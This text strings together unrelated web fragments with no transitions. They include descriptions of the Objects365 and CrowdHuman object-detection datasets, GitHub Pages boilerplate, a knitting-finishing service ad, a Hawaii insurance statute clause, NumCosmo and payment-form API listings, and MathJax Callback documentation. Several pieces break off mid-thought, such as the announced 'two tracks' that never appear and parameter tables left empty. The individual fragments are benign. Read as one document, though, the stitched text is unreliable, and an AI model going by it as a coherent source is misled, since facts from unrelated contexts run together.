The Objects365 is a large dataset, designed to spur object detection research with a focus on diverse objects in the Wild. Objects365 has 365 object classes annotated on 638K images, totally with more than 10 million bounding boxes in the training set. Thus the annotations cover common objects occurring in all kinds of scene categories. Challenge for DIW 2019-Objects365 is proposed to have two tracks:
The CrowdHuman dataset is large, rich-annotated and contains high diversity. It contains 15000, 4370 and 5000 images for training, validation, and testing, respectively. There are a total of 340K human instances and 22.6 persons per image from the train set, with various kinds of occlusions in the dataset.  We believe this dataset will serve as a solid baseline and help promote future research in human detection tasks, especially in the crowded environment.
Please send us an email to add or modify the content.
DIW 2019-Objects365 Full Track
Contact us at<EMAIL_ADDRESS>Megvii Technology
Megvii Technology
Megvii Technology
Megvii Technology
Megvii Technology
Megvii Technology
Microsoft
Momenta.ai
SUNY at Buffalo
Wormpex AI Research
Tsinghua University
Peking University


Your text please (you can use custom CSS/HTML) and it will be displayed fitted on the right
Note 1 - it may (but really shouldn't) end up in an infinite loop if width has oscillations in respect to the font size. If you do find such a case, please let me know since I'm quite interested if such case even exists
Note 2 - empty lines are skipped


-
Welcome to GitHub Pages
Welcome to GitHub Pages
You can use the editor on GitHub to maintain and preview the content for your website in Markdown files.

Markdown
Markdown is a lightweight and easy-to-use syntax for styling your writing. It includes conventions for
Syntax highlighted code block # Header 1 ## Header 2 ### Header 3 - Bulleted - List 1. Numbered 2. List **Bold** and _Italic_ and `Code` text [Link](url) and ![Image](src)
For more details see GitHub Flavored Markdown.
Jekyll Themes
Your Pages site will use the layout and styles from the Jekyll theme you have selected in your repository settings. The name of this theme is saved in the Jekyll
_config.yml
configuration file.Support or Contact
Having trouble with Pages? Check out our documentation or contact support and we’ll help you sort it out.


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One-click deploy allows you to try code in our tutorials with just one click! Follow the getting started guide to connect your Raspberry Pi.


Sweater-piece blues getting you down? Too busy to put the finishing touches on your stuffies? Got a stash of granny squares and no clue what to do next? I would be happy to help you turn your pieces into the project you imagined when you first put yarn to needle (or hook).
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The $40 base rate includes the first hour of work and shipping your project back to you after completion and payment.
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§386-212 Notice and hearing. The insurance commissioner in the administration of this chapter shall comply with chapters 91 and 92 when applicable. [L 1986, c 304, pt of §1]


| Top |
Functions
| NcmDataFunnel * | ncm_data_funnel_new () |
| NcmDataFunnel * | ncm_data_funnel_ref () |
| void | ncm_data_funnel_free () |
| void | ncm_data_funnel_clear () |
Functions
ncm_data_funnel_ref ()
NcmDataFunnel *
ncm_data_funnel_ref (NcmDataFunnel *dfu
);
Increases the reference count of dfu
by one.
ncm_data_funnel_free ()
void
ncm_data_funnel_free (NcmDataFunnel *dfu
);
Decreases the reference count of dfu
by one.
ncm_data_funnel_clear ()
void
ncm_data_funnel_clear (NcmDataFunnel **dfu
);
If dfu
is different from NULL, decreases the reference count of
dfu
by one and sets dfu
to NULL.


| Class | Description |
|---|---|
| Amount |
Cost of transaction.
|
| Amount.Builder |
Amount builder. |
| Checkbox |
On/off control.
|
| Checkbox.Builder |
Checkbox builder. |
| Control |
Base class for all components that allow user's input.
|
| Control.Builder |
Control builder. |
| Date |
Date control specified by
Date.PATTERN (for example 2015-05-30). |
| Date.Builder |
Date builder. |
|
Email control.
|
|
| Email.Builder |
Email builder. |
| Month |
The month and year control.
|
| Month.Builder |
Month builder. |
| Number |
Numeric control.
|
| Number.Builder |
Number builder. |
| ParameterControl |
Base class for all fields with internal state.
|
| ParameterControl.Builder |
Base builder of
ParameterControl 's subclasses. |
| Select |
Control for selecting amongst a set of options.
|
| Select.Builder |
Select builder. |
| Select.Option |
Label-value container.
|
| Submit |
Submit button.
|
| Submit.Builder |
Submit builder. |
| Tel |
Telephone number control.
|
| Tel.Builder | |
| Text |
Text field.
|
| Text.Builder |
Text builder. |
| TextArea |
Text field for arbitrary user's input.
|
| TextArea.Builder |
TextArea builder. |
| Enum | Description |
|---|---|
| Select.Style |
Style of
Select representation. |
| Text.Keyboard |
Keyboard type.
|


The MathJax.Callback object is one of the key mechanisms used by MathJax to synchronize its actions with those that occur asynchronously, like loading files and stylesheets. A Callback object is used to tie the execution of a function to the completion of an asynchronous action. See Synchronizing with MathJax for more details, and Using Callbacks in particular for examples of how to specify and use MathJax Callback objects.
When a method includes a callback as one of its arguments, that callback can be specified in a number of different ways, depending on the functionality that is required of the callback. The easiest case is to simply provide a function to be called, but it is also possible to include data to pass to the function when it is executed, and even the object that will be used as the javascript this object when the function is called.
Most functions that take callbacks as arguments accept a callback specification rather than an actual callback object, though you can use the MathJax.Callback() function to convert a callback specification into a Callback object if needed.
A callback specification is any one of the following:
- fn
A function that is to be called when the callback is executed. No additional data is passed to it (other than what it is called with at the time the callback is executed), and this will be the window object.
- [fn]
An array containing a function to be called when the callback is executed (as above).
- [fn, data...]
An array containing a function together with data to be passed to that function when the callback is executed; this is still the window object. For example,
[function (x,y) {return x+y}, 2, 3]would specify a callback that would pass 2 and 3 to the given function, and it would return their sum, 5, when the callback is executed.
- [object, fn]
An array containing an object to use as this and a function to call for the callback. For example,
[{x:'foo', y:'bar'}, function () {this.x}]would produce a callback that returns the string "foo" when it is called.
- [object, fn, data...]
Similar to the previous case, but with data that is passed to the function as well.
..describe:: [“method”, object]
Here, object is an object that has a method called method, and the callback will execute that method (with the object as this) when it is called. For example,
["toString",[1,2,3,4]]would call the toString method on the array [1,2,3,4] when the callback is called, returning 1,2,3,4.
- ["method", object, data...]
Similar to the previous case, but with data that is passed to the method. E.g.,
["slice",[1,2,3,4],1,3]would perform the equivalent of [1,2,3,4].slice(1,3), which returns the array [2,3] as a result.
- {hook: fn, data: [...], object: this}
Here the data for the callback are given in an associative array of key:value pairs. The value of hook is the function to call, the value of data is an array of the arguments to pass to the function, and the value of object is the object to use as this in the function call. The specification need not include all three key:value pairs; any that are missing get default values (a function that does nothing, an empty array, and the window object, respectively).
- "string"
This specifies a callback where the string is executed via an eval() statement. The code is run in the global context, so any variables or functions created by the string become part of the global namespace. The return value is the value of the last statement executed in the string.
The Callback object is itself a function, and calling that function executes the callback. You can pass the callback additional parameters, just as you can any function, and these will be added to the callback function’s argument list following any data that was supplied at the time the callback was created. For example
var f = function (x,y) {return x + " and " +y}
var cb = MathJax.Callback([f, "foo"]);
var result = cb("bar"); // sets result to "foo and bar"
Usually, the callback is not executed by the code that creates it (as it is in the example above), but by some other code that runs at a later time at the completion of some other activity (say the loading of a file), or in response to a user action. For example:
function f(x) {alert("x contains "+x)};
function DelayedX(time) {
var x = "hi";
setTimeout(MathJax.Callback([f, x], time));
}
The DelayedX function arranges for the function f to be called at a later time, passing it the value of a local variable, x. Normally, this would require the use of a closure, but that is not needed when a MathJax.Callback object is used.
The function to be called when the callback is executed.
An array containing the arguments to pass to the callback function when it is executed.
The object to use as this during the call to the callback function.
Set to true after the callback has been called, and undefined otherwise. A callback will not be executed a second time unless the callback’s reset() method is called first, or its autoReset property is set to true.
Set this to true if you want to be able to call the callback more than once. (This is the case for signal listeners, for example).
Always set to true (used to detect if an object is a callback or not).
Waits for the specified time (given in milliseconds) and then performs the callback. It returns the Callback object (or a blank one if none was supplied). The returned callback structure has a timeout property set to the result of the setTimeout() call that was used to perform the wait so that you can cancel the wait, if needed. Thus MathJax.Callback.Delay() can be used to start a timeout delay that executes the callback if an action doesn’t occur within the given time (and if the action does occur, the timeout can be canceled). Since MathJax.Callback.Delay() returns a callback structure, it can be used in a callback queue to insert a delay between queued commands.
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| Returns : | the callback object |
Calls each callback in the hooks array (or the single hook if it is not an array), passing it the arguments stored in the data array. If reset is true, then the callback’s reset() method will be called before each hook is executed. If any of the hooks returns a Callback object, then it collects those callbacks and returns a new callback that will execute when all the ones returned by the hooks have been completed. Otherwise, MathJax.Callback.ExecuteHooks() returns null.
| Parameters : |
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| Returns : | callback that waits for all the hooks to complete, or null |
Creates a MathJax.CallBack.Queue object and pushes the given callbacks into the queue. See Using Queues for more details about MathJax queues.
| Parameters : |
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| Returns : | the Queue object |
Looks for a named signal, creates it if it doesn’t already exist, and returns the signal object. See Using Signals for more details.
| Parameters : |
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| Returns : | the Signal object |